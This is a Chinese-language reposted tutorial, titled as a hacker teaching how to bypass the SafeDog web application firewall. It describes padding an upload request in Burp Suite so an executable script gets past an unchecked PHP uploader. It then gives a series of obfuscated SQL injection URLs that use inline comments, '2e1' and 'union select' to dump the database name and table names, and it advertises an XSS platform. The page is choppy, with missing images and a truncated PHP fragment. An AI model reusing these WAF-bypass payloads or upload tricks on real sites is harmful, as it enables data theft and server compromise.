数据库注入技术，黑客大牛教你如何绕过安全狗

2020-3-13 17:01 |来自: 互联网 1763 0

摘要: 推荐网站: 国内长度最短的XSS平台，支持https协议一，绕过安全狗上传可执行脚本附上php上传脚本源码，此源码未对上传文件类型做校验 -------------绕过方法，工具：burpsuite1,用 php脚本或者js，python等其他语言，生成48930个字符2,抓包，改包3，添加后如图：4，查看当前目录，上传成功1二，sql注入 ...

关键词： localhost 安全脚本 php 测试 rows http 学习语句 123

推荐网站: 国内长度最短的XSS平台，支持https协议

一，绕过安全狗上传可执行脚本附上php上传脚本源码，此源码未对上传文件类型做校验

-------------

绕过方法，工具：burpsuite1,用 php脚本或者js，python等其他语言，生成48930个字符2,抓包，改包

3，添加后如图：

4，查看当前目录，上传成功1

二，sql注入绕过安全狗1，测试文件，明显的字符型 SQL注入-----------------------------
'; $res = mysql_query($sql); while ( $rows = mysql_fetch_array($res)) { echo $rows[0]; echo $rows[1]; echo $rows[2]; }?>2，正常运行界面

3，添加注入测试语句http://localhost/waf123.php?id=3' and 1=1 --+

4，修改测试语句http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+

5,暴库http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+

6，爆表http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x74657374))--+